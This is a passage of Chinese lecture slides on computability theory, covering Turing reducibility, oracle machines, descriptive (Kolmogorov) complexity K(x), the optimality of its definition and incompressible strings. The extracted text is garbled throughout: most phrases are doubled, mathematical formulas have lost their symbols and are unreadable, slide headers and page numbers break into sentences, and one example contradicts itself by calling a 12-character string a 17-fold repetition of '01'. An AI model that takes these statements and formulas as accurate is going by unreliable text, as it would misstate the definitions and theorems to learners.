48、相對于相對于 B 是是可判定的，記作入可判定的，記作入ATB。圖靈可歸約性計算理論導引6可計算理論的高級專題43如果如果 ATB 且且 B 是可判定的，則是可判定的，則 A 也是可判定的。也是可判定的。圖靈可歸約性如果如果 B 是可判定的，則可以用判定是可判定的，則可以用判定 B 的實際過程來替換的實際過程來替換 B 的的諭示。這樣就用判定諭示。這樣就用判定 A 的普通圖靈機取代了判定的普通圖靈機取代了判定 A 的諭示圖的諭示圖靈機。靈機。q 圖靈可歸約性是映射可歸約性的一個推廣。如果圖靈可歸約性是映射可歸約性的一個推廣。如果AmB，則則入入ATB，因為此映射歸約可以被用來給出一個相對于因為此

49、映射歸約可以被用來給出一個相對于 B、判定判定 A 的諭示圖靈機。的諭示圖靈機。q 帶帶 ATM 的諭示的諭示圖靈機十分強大。它能解許多不能由的諭示的諭示圖靈機十分強大。它能解許多不能由普通圖靈機解的問題。但即使是這樣一個強大的圖靈機，也普通圖靈機解的問題。但即使是這樣一個強大的圖靈機，也不能判定所有語言。不能判定所有語言。計算理論導引6可計算理論的高級專題44主要內容主要內容6.1 遞歸定理遞歸定理6.1.1 自引用自引用6.1.2 遞歸定理的術語遞歸定理的術語6.1.3 應用應用6.2 邏輯理論的可判定性邏輯理論的可判定性6.2.1 一個可判定的理論一個可判定的理論6.2.2 一個不可判定

50、的理論一個不可判定的理論6.3 圖靈可歸約性圖靈可歸約性6.4 信息的定義信息的定義6.4.1 極小長度的描述極小長度的描述 6.4.2 定義的優化定義的優化 6.4.3 不可壓縮的串和隨機性不可壓縮的串和隨機性計算理論導引6可計算理論的高級專題45信息的定義q A=“110101010101”q B=“1”.q 序列序列A 有規律地有規律地 重復重復01串串 17次次，可壓縮為，可壓縮為 01#17q 序列序列B 比較復雜，短話說不清的，信息量較大比較復雜，短話說不清的，信息量較大直觀感覺直觀感覺：表達語義的表達語義的 最短尺寸，可用來度量其信息量最短尺寸，可用來度量其信息量q 規律性使得描

51、述較短（信息量較小）規律性使得描述較短（信息量較小）規律的描述和輸入重復重復17次次 01TM w說明可用說明可用 w 的長度來描述信息量的長度來描述信息量計算理論導引6可計算理論的高級專題46信息的定義TM M 的描述和它的輸入的描述和它的輸入 x 能被描述為較長的二進制串：能被描述為較長的二進制串：_10101010011inputmachine Turing x M如何才能知道如何才能知道 停止停止 和和 開始開始?我們可以給我們可以給 編碼編碼: 將將 0 寫成寫成 “00” 將將 1 寫成寫成 “11” “01” 作為分界分界位置作為分界分界位置M 分隔符 w計算理論導引6可計算理論

52、的高級專題47設設 x 是二進制數的串，是二進制數的串，x 的的極小描述極小描述，記為，記為d(x)，是，是最短的串最短的串 ，其中：，其中：TM M 在輸入在輸入w上停機上停機時，時，x 在帶上在帶上。且如果有多個這樣的串存在，則在其中選。且如果有多個這樣的串存在，則在其中選擇字典序下的第一個串。擇字典序下的第一個串。X 的的描述復雜性描述復雜性記為記為K(x)，是，是 K(x) = |d(x)|換句話說，換句話說，K(x) 是是 x 的極小描述的長度。的極小描述的長度。K(x) 的定的定義是為了義是為了刻畫串刻畫串 x 中的信息量中的信息量這個直觀概念的。這個直觀概念的。信息的定義計算理論

53、導引6可計算理論的高級專題48信息描述復雜性的基本結論( )|cx K xxc 為證明此定理給出的為證明此定理給出的 K(x) 的上界，只需給出一個不長于這個的上界，只需給出一個不長于這個上界的上界的 x 的描述。的描述。x 的極小描述可能比這個描述更短，但不會更長。的極小描述可能比這個描述更短，但不會更長。考慮串考慮串 x 的下列描述。設的下列描述。設 M 是這樣一個圖靈機：是這樣一個圖靈機：它一啟動就停機。它一啟動就停機。此圖靈機計算恒等函數此圖靈機計算恒等函數輸出與輸入是輸出與輸入是一樣的函數。一樣的函數。x 的一個描述是的一個描述是 x。令令 c 是是 的長度，就可完成證明。的長度，就

54、可完成證明。 計算理論導引6可計算理論的高級專題49串重復的描述復雜性考慮下列圖靈機考慮下列圖靈機 M，它要形如，它要形如 的輸入，其中的輸入，其中 N 是一個是一個圖靈機，圖靈機，w 是它的一個輸入。是它的一個輸入。M = “對于輸入對于輸入，其中，其中N是一個圖靈機，是一個圖靈機，w 是一個串：是一個串：1) 在在 w 上運行上運行 N 直到停止，且產生輸出串直到停止，且產生輸出串 s2) 輸出串輸出串 ss。”xx 的一個描述是的一個描述是 d(x)，而，而 d(x) 是是 x 的最小描述，這個描的最小描述，這個描述的長度是述的長度是 | + d(x)，即為，即為 c + K(x)，其中

55、，其中 c 是是 的長的長度。度。 ()( )cx K xxK xc 計算理論導引6可計算理論的高級專題50串連接的描述復雜性構造構造 TM M，它將輸入，它將輸入 w 拆成兩個單獨的描述。在第二個描拆成兩個單獨的描述。在第二個描述述 d(y) 出現以前，第一個描述出現以前，第一個描述 d(x) 的所有位都被寫兩邊且以的所有位都被寫兩邊且以 01 結束，如圖結束，如圖6-3所示。所示。在得到兩個描述之后，它們就開始運行，得到串在得到兩個描述之后，它們就開始運行，得到串 x 與與 y，及產，及產生生 xy。顯然，顯然，xy 的這個描述的長度是的這個描述的長度是 x 的復雜性的兩倍加上的復雜性的兩

56、倍加上 y 的復的復雜性，再加上描述雜性，再加上描述 M 的固定常量的固定常量 c。此和為。此和為2K(x) + K(y) +c這就完成了證明。這就完成了證明。, ()2( )( )cx y K xyK xK yc 計算理論導引6可計算理論的高級專題51定義的優化q 在用算法來定義描述復雜性的所有可能的方法中，關于在用算法來定義描述復雜性的所有可能的方法中，關于K(x) 的定義具有一個優化性質。的定義具有一個優化性質。q 假如將一般的假如將一般的描述語言描述語言看做一個可計算函數看做一個可計算函數 p : * * ，并定義并定義 x 相對于相對于 p 的極小描述的極小描述為滿足為滿足 p(s)

57、=x 的字典下最短的字典下最短的串的串 s，記為，記為 dp(s)，然后可以定義，然后可以定義 Kp(x) = | dp(x)|。q 例如，將一個程序設計語言，比如例如，將一個程序設計語言，比如 LISP (編碼成二進制數編碼成二進制數)，看作描述語言，則看作描述語言，則 dLISP(x) 將是輸出將是輸出 x 的極小的極小 LISP 程序，程序，KLISP(x) 將是這個極小程序的長度。將是這個極小程序的長度。q 任何此種類型的描述語言，都不會明顯地比原先定義的圖任何此種類型的描述語言，都不會明顯地比原先定義的圖靈機和輸入語言更簡潔。靈機和輸入語言更簡潔。計算理論導引6可計算理論的高級專題5

58、2定義的優化對任何描述語言對任何描述語言p，存在一個只與，存在一個只與p有關的常量有關的常量c，使得，使得( )( )px K xKxc用用LISP例子來說明證明思路。假設例子來說明證明思路。假設 x 有一個短的有一個短的LISP描述描述w。令。令M是一個能解釋是一個能解釋LISP的的TM，且以，且以x的的LISP程序程序w作為輸作為輸入。則入。則是是x的一個描述，且它比的一個描述，且它比x的的LISP描述只大一個描述只大一個固定的量。多出的長度是固定的量。多出的長度是LISP解釋器解釋器M。對于輸入語言對于輸入語言 p，考慮下列圖靈機，考慮下列圖靈機 M：M = “對于輸入對于輸入 w:1)

59、 輸出輸出 p(w)。”則則 dp(x) 是是 x 的一個描述，它的長度至多比的一個描述，它的長度至多比 Kp(x)大一個大一個固定常量，此常量為固定常量，此常量為 的長度。的長度。計算理論導引6可計算理論的高級專題53設設 x 是一個串，如果是一個串，如果則稱則稱 x 是是 c 可壓縮的可壓縮的(c-compressible)。如果如果 x 不是不是 c 可壓縮的，則稱可壓縮的，則稱 x 是是不可壓縮不可壓縮 c 的。的。如果如果 x 是不可壓縮是不可壓縮 1 的，則稱的，則稱 x 是是不可壓縮的不可壓縮的。不可壓縮的串和隨機性( )|K xxc計算理論導引6可計算理論的高級專題54對于每個長度，都存在不可壓縮的串。對于每個長度，都存在不可壓縮的串。